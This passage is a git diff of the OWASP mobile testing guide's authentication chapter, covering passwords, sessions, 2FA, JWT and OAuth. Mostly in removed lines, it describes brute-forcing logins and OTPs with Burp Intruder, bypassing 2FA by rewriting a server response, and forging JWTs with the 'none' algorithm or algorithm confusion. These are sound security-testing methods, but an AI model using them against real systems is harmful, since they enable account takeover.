Standard](https://github.com/OWASP/owasp-masvs/blob/master/Document/0x09-V4-Authentication_and_Session_Management_Requirements.md "OWASP MASVS: Authentication") as a guideline. For non-critical apps ("Level 1"), the MASVS lists the following authentication requirements: - -- If the app provides users with access to a remote service, an acceptable form of authentication such as username/password authentication is performed at the remote endpoint. -- A password policy exists and is enforced at the remote endpoint. -- The remote endpoint implements an exponential back-off, or temporarily locks the user account, when incorrect authentication credentials are submitted an excessive number of times. - -For sensitive apps ("Level 2"), the MASVS adds the following: - -- A second factor of authentication exists at the remote endpoint and the 2FA requirement is consistently enforced. -- Step-up authentication is required to enable actions that deal with sensitive data or transactions. -- The app informs the user of the recent activities with their account when they log in. - -You can find details on how to test for the requirements above in the following sections. - -### Stateful vs. Stateless Authentication - -You'll usually find that the mobile app uses HTTP as the transport layer. The HTTP protocol itself is stateless, so there must be a way to associate a user's subsequent HTTP requests with that user. Otherwise, the user's log in credentials would have to be sent with every request. Also, both the server and client need to keep track of user data (e.g., the user's privileges or role). This can be done in two different ways: - -- With _stateful_ authentication, a unique session id is generated when the user logs in. In subsequent requests, this session ID serves as a reference to the user details stored on the server. The session ID is _opaque_; it doesn't contain any user data. - -- With _stateless_ authentication, all user-identifying information is stored in a client-side token. The token can be passed to any server or micro service, eliminating the need to maintain session state on the server. Stateless authentication is often factored out to an authorization server, which produces, signs, and optionally encrypts the token upon user login. - -Web applications commonly use stateful authentication with a random session ID that is stored in a client-side cookie. Although mobile apps sometimes use stateful sessions in a similar fashion, stateless token-based approaches are becoming popular for a variety of reasons: - -- They improve scalability and performance by eliminating the need to store session state on the server. -- Tokens enable developers to decouple authentication from the app. Tokens can be generated by an authentication server, and the authentication scheme can be changed seamlessly. - -As a mobile security tester, you should be familiar with both types of authentication. - -### Supplementary Authentication - -Authentication schemes are sometimes supplemented by [passive contextual authentication](https://pdfs.semanticscholar.org/13aa/7bf53070ac8e209a84f6389bab58a1e2c888.pdf "Best Practices for -Multi-factor Authentication"), which can incorporate: - -- Geolocation -- IP address -- Time of day -- The device being used - -Ideally, in such a system the user's context is compared to previously recorded data to identify anomalies that might indicate account abuse or potential fraud. This process is transparent to the user, but can become a powerful deterrent to attackers. +## General Assumptions -## Verifying that Appropriate Authentication is in Place (MSTG-ARCH-2 and MSTG-AUTH-1) +### Appropriate Authentication is in Place Perform the following steps when testing authentication and authorization: @@ -85,100 +39,40 @@ isAdmin=True Security experts used to recommend using session-based authentication and maintaining session data on the server only. This prevents any form of client-side tampering with the session state. However, the whole point of using stateless authentication instead of session-based authentication is to _not_ have session state on the server. Instead, state is stored in client-side tokens and transmitted with every request. In this case, seeing client-side parameters such as `isAdmin` is perfectly normal. -To prevent tampering cryptographic signatures are added to client-side tokens. Of course, things may go wrong, and popular implementations of stateless authentication have been vulnerable to attacks. For example, the signature verification of some JSON Web Token (JWT) implementations could be deactivated by [setting the signature type to "None"](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ "Critical vulnerabilities in JSON Web Token libraries"). We'll discuss this attack in more detail in the "Testing JSON Web Tokens" chapter. - -## Testing Best Practices for Passwords (MSTG-AUTH-5 and MSTG-AUTH-6) - -Password strength is a key concern when passwords are used for authentication. The password policy defines requirements to which end users should adhere. A password policy typically specifies password length, password complexity, and password topologies. A "strong" password policy makes manual or automated password cracking difficult or impossible. The following sections will cover various areas regarding password best practices. For further information please consult the [OWASP Authentication Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md#implement-proper-password-strength-controls "Implement Proper Password Strength Controls"). - -### Static Analysis - -Confirm the existence of a password policy and verify the implemented password complexity requirements according to the [OWASP Authentication Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md#implement-proper-password-strength-controls "Implement Proper Password Strength Controls") which focuses on length and an unlimited character set. Identify all password-related functions in the source code and make sure that a verification check is performed in each of them. Review the password verification function and make sure that it rejects passwords that violate the password policy. - -#### zxcvbn - -[zxcvbn](https://github.com/dropbox/zxcvbn "zxcvbn") is a common library that can be used for estimating password strength, inspired by password crackers. It is available in JavaScript but also for many other programming languages on the server side. There are different methods of installation, please check the Github repo for your preferred method. Once installed, zxcvbn can be used to calculate the complexity and the amount of guesses to crack the password. - -After adding the zxcvbn JavaScript library to the HTML page, you can execute the command `zxcvbn` in the browser console, to get back detailed information about how likely it is to crack the password including a score. - - - -The score is defined as follows and can be used for a password strength bar for example: - -```html -0 # too guessable: risky password. (guesses < 10^3) - -1 # very guessable: protection from throttled online attacks. (guesses < 10^6) - -2 # somewhat guessable: protection from unthrottled online attacks. (guesses < 10^8) - -3 # safely unguessable: moderate protection from offline slow-hash scenario. (guesses < 10^10) - -4 # very unguessable: strong protection from offline slow-hash scenario. (guesses >= 10^10) -``` - -Note that zxcvbn can be implemented by the app-developer as well using the Java (or other) implementation in order to guide the user into creating a strong password. - -### Have I Been Pwned: PwnedPasswords - -In order to further reduce the likelihood of a successful dictionary attack against a single factor authentication scheme (e.g. password only), you can verify whether a password has been compromised in a data breach. This can be done using services based on the Pwned Passwords API by Troy Hunt (available at api.pwnedpasswords.com). For example, the "[Have I been pwned?](https://haveibeenpwned.com "\';--have i been pwned?")" companion website. -Based on the SHA-1 hash of a possible password candidate, the API returns the number of times the hash of the given password has been found in the various breaches collected by the service. The workflow takes the following steps: - -- Encode the user input to UTF-8 (e.g.: the password `test`). -- Take the SHA-1 hash of the result of step 1 (e.g.: the hash of `test` is `A94A8FE5CC...`). -- Copy the first 5 characters (the hash prefix) and use them for a range-search by using the following API: `http GET https://api.pwnedpasswords.com/range/A94A8` -- Iterate through the result and look for the rest of the hash (e.g. is `FE5CC...` part of the returned list?). If it is not part of the returned list, then the password for the given hash has not been found. Otherwise, as in case of `FE5CC...`, it will return a counter showing how many times it has been found in breaches (e.g.: `FE5CC...:76479`). - -Further documentation on the Pwned Passwords API can be found [online](https://haveibeenpwned.com/API/v3 "Api Docs V3"). - -Note that this API is best used by the app-developer when the user needs to register and enter a password to check whether it is a recommended password or not. - -#### Login Throttling - -Check the source code for a throttling procedure: a counter for logins attempted in a short period of time with a given user name and a method to prevent login attempts after the maximum number of attempts has been reached. After an authorized login attempt, the error counter should be reset. +To prevent tampering cryptographic signatures are added to client-side tokens. Of course, things may go wrong, and popular implementations of stateless authentication have been vulnerable to attacks. For example, the signature verification of some JSON Web Token (JWT) implementations could be deactivated by [setting the signature type to "None"](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ "Critical vulnerabilities in JSON Web Token libraries"). -Observe the following best practices when implementing anti-brute-force controls: +### Best Practices for Passwords -- After a few unsuccessful login attempts, targeted accounts should be locked (temporarily or permanently), and additional login attempts should be rejected. -- A five-minute account lock is commonly used for temporary account locking. -- The controls must be implemented on the server because client-side controls are easily bypassed. -- Unauthorized login attempts must be tallied with respect to the targeted account, not a particular session. +Password strength is a key concern when passwords are used for authentication. The password policy defines requirements to which end users should adhere. A password policy typically specifies password length, password complexity, and password topologies. A "strong" password policy makes manual or automated password cracking difficult or impossible. For further information please consult the [OWASP Authentication Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md#implement-proper-password-strength-controls "Implement Proper Password Strength Controls"). -Additional brute force mitigation techniques are described on the OWASP page [Blocking Brute Force Attacks](https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks "OWASP - Blocking Brute Force Attacks"). - -### Dynamic Testing (MSTG-AUTH-6) - -Automated password guessing attacks can be performed using a number of tools. For HTTP(S) services, using an interception proxy is a viable option. For example, you can use [Burp Suite Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using "Using Burp Suite Intruder") to perform both wordlist-based and brute-force attacks. +## General Guidelines on Testing Authentication -> Please keep in mind that the Burp Suite Community Edition has significant limitations apart from not being able to save projects. For example, a throttling mechanism will be activated after several requests that will slow down your attacks with Burp Intruder dramatically. Also no built-in password lists are available in this version. If you want to execute a real brute force attack use either [Burp Suite](0x08a-Testing-Tools.md#burp-suite) Professional or [OWASP ZAP](0x08a-Testing-Tools.md#owasp-zap). +There's no one-size-fits-all approach to authentication. When reviewing the authentication architecture of an app, you should first consider whether the authentication method(s) used are appropriate in the given context. Authentication can be based on one or more of the following: -Execute the following steps for a wordlist based brute force attack with Burp Intruder: +- Something the user knows (password, PIN, pattern, etc.) +- Something the user has (SIM card, one-time password generator, or hardware token) +- A biometric property of the user (fingerprint, retina, voice) -- Start Burp Suite Professional. -- Create a new project (or open an existing one). -- Set up your mobile device to use Burp as the HTTP/HTTPS proxy. Log into the mobile app and intercept the authentication request sent to the backend service. -- Right-click this request on the **Proxy/HTTP History** tab and select **Send to Intruder** in the context menu. -- Select the **Intruder** tab. For further information on how to use [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using "Using Burp Intruder") read the official documentation on Portswigger. -- Make sure all parameters in the **Target**, **Positions**, and **Options** tabs are appropriately set and select the **Payload** tab. -- Load or paste the list of passwords you want to try. There are several resources available that offer password lists, like [FuzzDB](https://github.com/fuzzdb-project/fuzzdb/ "FuzzDB"), the built-in lists in Burp Intruder or the files available in `/usr/share/wordlists` on Kali Linux. +The number of authentication procedures implemented by mobile apps depends on the sensitivity of the functions or accessed resources. Refer to industry best practices when reviewing authentication functions. Username/password authentication (combined with a reasonable password policy) is generally considered sufficient for apps that have a user login and aren't very sensitive. This form of authentication is used by most social media apps. -Once everything is configured and you have a word-list selected, you're ready to start the attack! +For sensitive apps, adding a second authentication factor is usually appropriate. This includes apps that provide access to very sensitive information (such as credit card numbers) or allow users to transfer funds. In some industries, these apps must also comply with certain standards. For example, financial apps have to ensure compliance with the Payment Card Industry Data Security Standard (PCI DSS), the Gramm Leach Bliley Act, and the Sarbanes-Oxley Act (SOX). Compliance considerations for the US health care sector include the Health Insurance Portability and Accountability Act (HIPAA) and the Patient Safety Rule. - +## Stateful vs. Stateless Authentication -- Click the **Start attack** button to attack the authentication. +You'll usually find that the mobile app uses HTTP as the transport layer. The HTTP protocol itself is stateless, so there must be a way to associate a user's subsequent HTTP requests with that user. Otherwise, the user's log in credentials would have to be sent with every request. Also, both the server and client need to keep track of user data (e.g., the user's privileges or role). This can be done in two different ways: -A new window will open. Site requests are sent sequentially, each request corresponding to a password from the list. Information about the response (length, status code, etc.) is provided for each request, allowing you to distinguish successful and unsuccessful attempts: +- With _stateful_ authentication, a unique session id is generated when the user logs in. In subsequent requests, this session ID serves as a reference to the user details stored on the server. The session ID is _opaque_; it doesn't contain any user data. - +- With _stateless_ authentication, all user-identifying information is stored in a client-side token. The token can be passed to any server or micro service, eliminating the need to maintain session state on the server. Stateless authentication is often factored out to an authorization server, which produces, signs, and optionally encrypts the token upon user login. -In this example, you can identify the successful attempt according to the different length and the HTTP status code, which reveals the password 12345. +Web applications commonly use stateful authentication with a random session ID that is stored in a client-side cookie. Although mobile apps sometimes use stateful sessions in a similar fashion, stateless token-based approaches are becoming popular for a variety of reasons: -To test if your own test accounts are prone to brute forcing, append the correct password of your test account to the end of the password list. The list shouldn't have more than 25 passwords. If you can complete the attack without permanently or temporarily locking the account or solving a CAPTCHA after a certain amount of requests with wrong passwords, that means the account isn't protected against brute force attacks. +- They improve scalability and performance by eliminating the need to store session state on the server. +- Tokens enable developers to decouple authentication from the app. Tokens can be generated by an authentication server, and the authentication scheme can be changed seamlessly. -> Tip: Perform these kinds of tests only at the very end of your penetration test. You don't want to lock out your account on the first day of testing and potentially having to wait for it to be unlocked. For some projects unlocking accounts might be more difficult than you think. +As a mobile security tester, you should be familiar with both types of authentication. -## Testing Stateful Session Management (MSTG-AUTH-2) +### Stateful Authentication Stateful (or "session-based") authentication is characterized by authentication records on both the client and server. The authentication flow is as follows: @@ -190,7 +84,7 @@ Stateful (or "session-based") authentication is characterized by authentication When sessions are improperly managed, they are vulnerable to a variety of attacks that may compromise the session of a legitimate user, allowing the attacker to impersonate the user. This may result in lost data, compromised confidentiality, and illegitimate actions. -### Session Management Best Practices +**Best Practices:** Locate any server-side endpoints that provide sensitive information or functions and verify the consistent enforcement of authorization. The backend service must verify the user's session ID or token and make sure that the user has sufficient privileges to access the resource. If the session ID or token is missing or invalid, the request must be rejected. @@ -209,127 +103,11 @@ Authentication shouldn't be implemented from scratch but built on top of proven - [Struts (Java)](https://struts.apache.org/security/ "Struts (Java)") - [Laravel (PHP)](https://laravel.com/docs/9.x/authentication "Laravel (PHP)") - [Ruby on Rails](https://guides.rubyonrails.org/security.html "Ruby on Rails") +- [ASP.Net](https://learn.microsoft.com/en-us/aspnet/core/security "ASP.NET") A great resource for testing server-side authentication is the OWASP Web Testing Guide, specifically the [Testing Authentication](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/04-Authentication_Testing/README) and [Testing Session Management](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/README) chapters. -## Testing Session Timeout (MSTG-AUTH-7) - -Minimizing the lifetime of session identifiers and tokens decreases the likelihood of successful account hijacking. - -### Static Analysis - -In most popular frameworks, you can set the session timeout via configuration options. This parameter should be set according to the best practices specified in the framework documentation. The recommended timeout may be between 10 minutes and two hours, depending on the app's sensitivity. Refer to the framework documentation for examples of session timeout configuration: - -- [Spring (Java)](https://docs.spring.io/spring-boot/docs/current/reference/html/web.html#web.spring-session "Spring (Java)") -- [Ruby on Rails](https://guides.rubyonrails.org/security.html#session-expiry "Ruby on Rails") -- [PHP](https://php.net/manual/en/session.configuration.php#ini.session.gc-maxlifetime "PHP") -- [ASP.Net](https://docs.microsoft.com/en-us/dotnet/api/system.web.sessionstate.httpsessionstate.timeout "ASP.NET") - -### Dynamic Analysis - -To verify if a session timeout is implemented, proxy your requests through an interception proxy and perform the following steps: - -1. Log in to the application. -2. Access a resource that requires authentication, typically a request for private information belonging to your account. -3. Try to access the data after an increasing number of 5-minute delays has passed (5, 10, 15, ...). -4. Once the resource is no longer available, you will know the session timeout. - -After you have identified the session timeout, verify whether it has an appropriate length for the application. If the timeout is too long, or if the timeout does not exist, this test case fails. - -> When using Burp Proxy, you can use the [Session Timeout Test extension](https://portswigger.net/bappstore/c4bfd29882974712a1d69c6d8f05874e "Session Timeout Test extension") to automate this test. - -## Testing User Logout (MSTG-AUTH-4) - -The purpose of this test case is verifying logout functionality and determining whether it effectively terminates the session on both client and server and invalidates a stateless token. - -Failing to destroy the server-side session is one of the most common logout functionality implementation errors. This error keeps the session or token alive, even after the user logs out of the application. An attacker who gets valid authentication information can continue to use it and hijack a user's account. - -Many mobile apps don't automatically log users out. There can be various reasons, such as: because it is inconvenient for customers, or because of decisions made when implementing stateless authentication. The application should still have a logout function, and it should be implemented according to best practices, destroying all locally stored tokens or session identifiers. If session information is stored on the server, it should also be destroyed by sending a logout request to that server. In case of a high-risk application, tokens should be invalidated. Not removing tokens or session identifiers can result in unauthorized access to the application in case the tokens are leaked. -Note that other sensitive types of information should be removed as well, as any information that is not properly cleared may be leaked later, for example during a device backup. - -### Static Analysis - -If server code is available, make sure logout functionality terminates the session correctly. This verification will depend on the technology. Here are different examples of session termination for proper server-side logout: - -- [Spring (Java)](https://docs.spring.io/autorepo/docs/spring-security/4.1.x/apidocs/org/springframework/security/web/authentication/logout/SecurityContextLogoutHandler.html "Spring (Java)") -- [Ruby on Rails](https://guides.rubyonrails.org/security.html "Ruby on Rails") -- [PHP](https://php.net/manual/en/function.session-destroy.php "PHP") - -If access and refresh tokens are used with stateless authentication, they should be deleted from the mobile device. The [refresh token should be invalidated on the server](https://auth0.com/blog/denylist-json-web-token-api-keys/ "Invalidating JSON Web Token API Keys"). - -### Dynamic Analysis - -Use an interception proxy for dynamic application analysis and execute the following steps to check whether the logout is implemented properly: - -1. Log in to the application. -2. Access a resource that requires authentication, typically a request for private information belonging to your account. -3. Log out of the application. -4. Try to access the data again by resending the request from step 2. - -If the logout is correctly implemented on the server, an error message or redirect to the login page will be sent back to the client. On the other hand, if you receive the same response you got in step 2, the token or session ID is still valid and hasn't been correctly terminated on the server. -The OWASP Web Testing Guide ([WSTG-SESS-06](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/06-Testing_for_Logout_Functionality "WSTG-SESS-006")) includes a detailed explanation and more test cases. - -## Testing Two-Factor Authentication and Step-up Authentication (MSTG-AUTH-9 and MSTG-AUTH-10) - -Two-factor authentication (2FA) is standard for apps that allow users to access sensitive functions and data. Common implementations use a password for the first factor and any of the following as the second factor: - -- One-time password via SMS (SMS-OTP) -- One-time code via phone call -- Hardware or software token -- Push notifications in combination with PKI and local authentication - -Whatever option is used as 2nd factor, it always must be enforced and verified on the server-side and never on client-side. Otherwise the 2nd factor can be easily bypassed within the app. - -The secondary authentication can be performed at login or later in the user's session. For example, after logging in to a banking app with a username and PIN, the user is authorized to perform non-sensitive tasks. Once the user attempts to execute a bank transfer, the second factor ("step-up authentication") must be presented. - -### Dangers of SMS-OTP - -Although one-time passwords (OTP) sent via SMS are a common second factor for two-factor authentication, this method has its shortcomings. In 2016, NIST suggested: "Due to the risk that SMS messages may be intercepted or redirected, implementers of new systems SHOULD carefully consider alternative authenticators.". Below you will find a list of some related threats and suggestions to avoid successful attacks on SMS-OTP. - -Threats: - -- Wireless Interception: The adversary can intercept SMS messages by abusing femtocells and other known vulnerabilities in the telecommunications network. -- Trojans: Installed malicious applications with access to text messages may forward the OTP to another number or backend. -- SIM SWAP Attack: In this attack, the adversary calls the phone company, or works for them, and has the victim's number moved to a SIM card owned by the adversary. If successful, the adversary can see the SMS messages which are sent to the victim's phone number. This includes the messages used in the two-factor authentication. -- Verification Code Forwarding Attack: This social engineering attack relies on the trust the users have in the company providing the OTP. In this attack, the user receives a code and is later asked to relay that code using the same means in which it received the information. -- Voicemail: Some two-factor authentication schemes allow the OTP to be sent through a phone call when SMS is no longer preferred or available. Many of these calls, if not answered, send the information to voicemail. If an attacker was able to gain access to the voicemail, they could also use the OTP to gain access to a user's account. - -You can find below several suggestions to reduce the likelihood of exploitation when using SMS for OTP: - -- **Messaging**: When sending an OTP via SMS, be sure to include a message that lets the user know 1) what to do if they did not request the code 2) your company will never call or text them requesting that they relay their password or code. -- **Dedicated Channel**: When using the OS push notification feature (APN on iOS and FCM on Android), OTPs can be sent securely to a registered application. This information is, compared to SMS, not accessible by other applications. Alternatively of a OTP the push notification could trigger a pop-up to approve the requested access. -- **Entropy**: Use authenticators with high entropy to make OTPs harder to crack or guess and use at least 6 digits. Make sure that digits are separates in smaller groups in case people have to remember them to copy them to your app. -- **Avoid Voicemail**: If a user prefers to receive a phone call, do not leave the OTP information as a voicemail. - -### Transaction Signing with Push Notifications and PKI - -Another alternative and strong mechanisms to implement a second factor is transaction signing. - -Transaction signing requires authentication of the user's approval of critical transactions. Asymmetric cryptography is the best way to implement transaction signing. The app will generate a public/private key pair when the user signs up, then registers the public key on the backend. The private key is securely stored in the KeyStore (Android) or KeyChain (iOS). To authorize a transaction, the backend sends the mobile app a push notification containing the transaction data. The user is then asked to confirm or deny the transaction. After confirmation, the user is prompted to unlock the Keychain (by entering the PIN or fingerprint), and the data is signed with user's private key. The signed transaction is then sent to the server, which verifies the signature with the user's public key. - -### Static Analysis - -There are various two-factor authentication mechanisms available which can range from 3rd party libraries, usage of external apps to self implemented checks by the developer(s). - -Use the app first and identify where 2FA is needed in the workflows (usually during login or when executing critical transactions). Do also interview the developer(s) and/or architects to understand more about the 2FA implementation. If a 3rd party library or external app is used, verify if the implementation was done accordingly to the security best practices. - -### Dynamic Testing - -Use the app extensively (going through all UI flows) while using an interception proxy to capture the requests sent to remote endpoints. Next, replay requests to endpoints that require 2FA (e.g., performing a financial transaction) while using a token or session ID that hasn't yet been elevated via 2FA or step-up authentication. If an endpoint is still sending back requested data that should only be available after 2FA or step-up authentication, authentication checks haven't been properly implemented at that endpoint. - -When OTP authentication is used, consider that most OTPs are short numeric values. An attacker can bypass the second factor by brute-forcing the values within the range at the lifespan of the OTP if the accounts aren't locked after N unsuccessful attempts at this stage. The probability of finding a match for 6-digit values with a 30-second time step within 72 hours is more than 90%. - -To test this, the captured request should be sent 10-15 times to the endpoint with random OTP values before providing the correct OTP. If the OTP is still accepted the 2FA implementation is prone to brute force attacks and the OTP can be guessed. - -> A OTP should be valid for only a certain amount of time (usually 30 seconds) and after keying in the OTP wrongly several times (usually 3 times) the provided OTP should be invalidated and the user should be redirected to the landing page or logged out. - -You should check if the app relies on static responses from the remote endpoint such as `"message":"Success"` to grant access to app internal sensitive data or functions. If that's the case, an attacker could easily bypass the 2FA implementation by manipulating the server response e.g. by using an interception proxy such as [Burp Suite](0x08a-Testing-Tools.md#burp-suite) and modifying the response to be `"message":"Success"`. - -To prevent these kind of attacks, the application should always verify some kind of user token or other dynamic information related to the user that was previously securely stored (e.g. in the Keychain/KeyStore). - -Consult the [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/01-Testing_for_Session_Management_Schema "OWASP Testing Guide V4 (Testing for Session Management)") for more information about testing session management. - -## Testing Stateless (Token-Based) Authentication (MSTG-AUTH-3) +### Stateless Authentication Token-based authentication is implemented by sending a signed token (verified by the server) with each HTTP request. The most commonly used token format is the JSON Web Token, defined in [RFC7519](https://tools.ietf.org/html/rfc7519 "RFC7519"). A JWT may encode the complete session state as a JSON object. Therefore, the server doesn't have to store any session data or authentication information. @@ -366,78 +144,18 @@ HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) Note that the secret is shared between the authentication server and the backend service - the client does not know it. This proves that the token was obtained from a legitimate authentication service. It also prevents the client from tampering with the claims contained in the token. -### Static Analysis - -Identify the JWT library that the server and client use. Find out whether the JWT libraries in use have any known vulnerabilities. +**Best Practices:** Verify that the implementation adheres to JWT [best practices](https://stormpath.com/blog/jwt-the-right-way "JWT the right way"): -- Verify that the HMAC is checked for all incoming requests containing a token; -- Verify the location of the private signing key or HMAC secret key. The key should remain on the server and should never be shared with the client. It should be available for the issuer and verifier only. -- Verify that no sensitive data, such as personal identifiable information, is embedded in the JWT. If, for some reason, the architecture requires transmission of such information in the token, make sure that payload encryption is being applied. See the sample Java implementation on the [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html "JSON Web Token for Java Cheat Sheet"). +- Verify that the HMAC is checked for all incoming requests containing a token. +- Verify that the private signing key or HMAC secret key is never shared with the client. It should be available for the issuer and verifier only. +- Verify that no sensitive data, such as personal identifiable information, is embedded in the JWT. For example, by decoding the base64-encoded JWT and find out what kind of data it transmits and whether that data is encrypted. If, for some reason, the architecture requires transmission of such information in the token, make sure that payload encryption is being applied. See the sample Java implementation on the [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html "JSON Web Token for Java Cheat Sheet"). - Make sure that replay attacks are addressed with the `jti` (JWT ID) claim, which gives the JWT a unique identifier. - Make sure that cross service relay attacks are addressed with the `aud` (audience) claim, which defines for which application the token is entitled. - Verify that tokens are stored securely on the mobile phone, with, for example, KeyChain (iOS) or KeyStore (Android). - -#### Enforcing the Hashing Algorithm - -An attacker executes this by altering the token and, using the 'none' keyword, changing the signing algorithm to indicate that the integrity of the token has already been verified. [Some libraries](https://stormpath.com/blog/jwt-the-right-way) might treat tokens signed with the 'none' algorithm as if they were valid tokens with verified signatures, so the application will trust altered token claims. - -For example, in Java applications, the expected algorithm should be requested explicitly when creating the verification context: - -```java -// HMAC key - Block serialization and storage as String in JVM memory -private transient byte[] keyHMAC = ...; - -//Create a verification context for the token requesting explicitly the use of the HMAC-256 HMAC generation - -JWTVerifier verifier = JWT.require(Algorithm.HMAC256(keyHMAC)).build(); - -//Verify the token; if the verification fails then an exception is thrown - -DecodedJWT decodedToken = verifier.verify(token); -``` - -#### Token Expiration - -Once signed, a stateless authentication token is valid forever unless the signing key changes. A common way to limit token validity is to set an expiration date. Make sure that the tokens include an ["exp" expiration claim](https://tools.ietf.org/html/rfc7519#section-4.1.4 "RFC 7519") and the backend doesn't process expired tokens. - -A common method of granting tokens combines [access tokens and refresh tokens](https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/ "Refresh tokens & access tokens"). When the user logs in, the backend service issues a short-lived _access token_ and a long-lived _refresh token_. The application can then use the refresh token to obtain a new access token, if the access token expires. - -For apps that handle sensitive data, make sure that the refresh token expires after a reasonable period of time. The following example code shows a refresh token API that checks the refresh token's issue date. If the token is not older than 14 days, a new access token is issued. Otherwise, access is denied and the user is prompted to login again. - -```java -app.post('/renew_access_token', function (req, res) { - // verify the existing refresh token - var profile = jwt.verify(req.body.token, secret); - - // if refresh token is more than 14 days old, force login - if (profile.original_iat - new Date() > 14) { // iat == issued at - return res.send(401); // re-login - } - - // check if the user still exists or if authorization hasn't been revoked - if (!valid) return res.send(401); // re-logging - - // issue a new access token - var renewed_access_token = jwt.sign(profile, secret, { expiresInMinutes: 60*5 }); - res.json({ token: renewed_access_token }); -}); -``` - -### Dynamic Analysis - -Investigate the following JWT vulnerabilities while performing dynamic analysis: - -- Token Storage on the client: - - The token storage location should be verified for mobile apps that use JWT. -- Cracking the signing key: - - Token signatures are created via a private key on the server. After you obtain a JWT, choose a tool for [brute forcing the secret key offline](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/ "Attacking JWT Authentication"). -- Information Disclosure: - - Decode the Base64Url-encoded JWT and find out what kind of data it transmits and whether that data is encrypted. -- Tampering with the Hashing Algorithm: - - Usage of [asymmetric algorithms](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ "Critical Vulnerabilities in JSON Web Token"). JWT offers several asymmetric algorithms as RSA or ECDSA. When these algorithms are used, tokens are signed with the private key and the public key is used for verification. If a server is expecting a token to be signed with an asymmetric algorithm and receives a token signed with HMAC, it will treat the public key as an HMAC secret key. The public key can then be misused, employed as an HMAC secret key to sign the tokens. - - Modify the `alg` attribute in the token header, then delete `HS256`, set it to `none`, and use an empty signature (e.g., signature = ""). Use this token and replay it in a request. Some libraries treat tokens signed with the none algorithm as a valid token with a verified signature. This allows attackers to create their own "signed" tokens. +- Verify that the hashing algorithm is enforced. A common attack includes altering the token to use an empty signature (e.g., signature = "") and set the signing algorithm to `none`, indicating that "the integrity of the token has already been verified". [Some libraries](https://stormpath.com/blog/jwt-the-right-way) might treat tokens signed with the `none` algorithm as if they were valid tokens with verified signatures, so the application will trust altered token claims. +- Verify that tokens include an ["exp" expiration claim](https://tools.ietf.org/html/rfc7519#section-4.1.4 "RFC 7519") and the backend doesn't process expired tokens. A common method of granting tokens combines [access tokens and refresh tokens](https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/ "Refresh tokens & access tokens"). When the user logs in, the backend service issues a short-lived _access token_ and a long-lived _refresh token_. The application can then use the refresh token to obtain a new access token, if the access token expires. There are two different Burp Plugins that can help you for testing the vulnerabilities listed above: @@ -446,9 +164,9 @@ There are two different Burp Plugins that can help you for testing the vulnerabi Also, make sure to check out the [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html "JSON Web Token (JWT) Cheat Sheet for Java") for additional information. -## Testing OAuth 2.0 Flows (MSTG-AUTH-1 and MSTG-AUTH-3) +## OAuth 2.0 -[OAuth 2.0 defines a delegation protocol for conveying authorization decisions across APIs and a network of web-enabled applications](https://oauth.net/articles/authentication/ "OAuth 2.0 delegation protocols"). It is used in a variety of applications, including user authentication applications. +[OAuth 2.0](https://oauth.net/articles/authentication/ "OAuth 2.0") is an authorization framework that enables third-party applications to obtain limited access to user accounts on remote HTTP services such as APIs and web-enabled applications. Common uses for OAuth2 include: @@ -458,6 +176,8 @@ Common uses for OAuth2 include: According to OAuth 2.0, a mobile client seeking access to a user's resources must first ask the user to authenticate against an _authentication server_. With the users' approval, the authorization server then issues a token that allows the app to act on behalf of the user. Note that the OAuth2 specification doesn't define any particular kind of authentication or access token format. +### Protocol Overview + OAuth 2.0 defines four roles: - Resource Owner: the account owner @@ -478,62 +198,135 @@ Here is a more [detailed explanation](https://www.digitalocean.com/community/tut 5. The application requests the resource from the resource server (API) and presents the access token for authentication. The access token may be used in several ways (e.g., as a bearer token). 6. If the access token is valid, the resource server (API) serves the resource to the application. -### OAUTH 2.0 Best Practices +In OAuth2, the _user agent_ is the entity that performs the authentication. OAuth2 authentication can be performed either through an external user agent (e.g. Chrome or Safari) or in the app itself (e.g. through a WebView embedded into the app or an authentication library). None of the two modes is intrinsically "better" than the other. The choice depends on the app's specific use case and threat model. -Verify that the following best practices are followed: +**External User Agent:** Using an _external user agent_ is the method of choice for apps that need to interact with social media accounts (Facebook, Twitter, etc.). Advantages of this method include: -User agent: +- The user's credentials are never directly exposed to the app. This guarantees that the app cannot obtain the credentials during the login process ("credential phishing"). +- Almost no authentication logic must be added to the app itself, preventing coding errors. -- The user should have a way to visually verify trust (e.g., Transport Layer Security (TLS) confirmation, website mechanisms). -- To prevent man-in-the-middle attacks, the client should validate the server's fully qualified domain name with the public key the server presented when the connection was established. +On the negative side, there is no way to control the behavior of the browser (e.g. to activate certificate pinning). -Type of grant: +**Embedded User Agent:** Using an _embedded user agent_ is the method of choice for apps that need to operate within a closed ecosystem, for example to interact with corporate accounts. For example, consider a banking app that uses OAuth2 to retrieve an access token from the bank's authentication server, which is then used to access a number of micro services. In that case, credential phishing is not a viable scenario. It is likely preferable to keep the authentication process in the (hopefully) carefully secured banking app, instead of placing trust on external components. -- On native apps, code grant should be used instead of implicit grant. -- When using code grant, PKCE 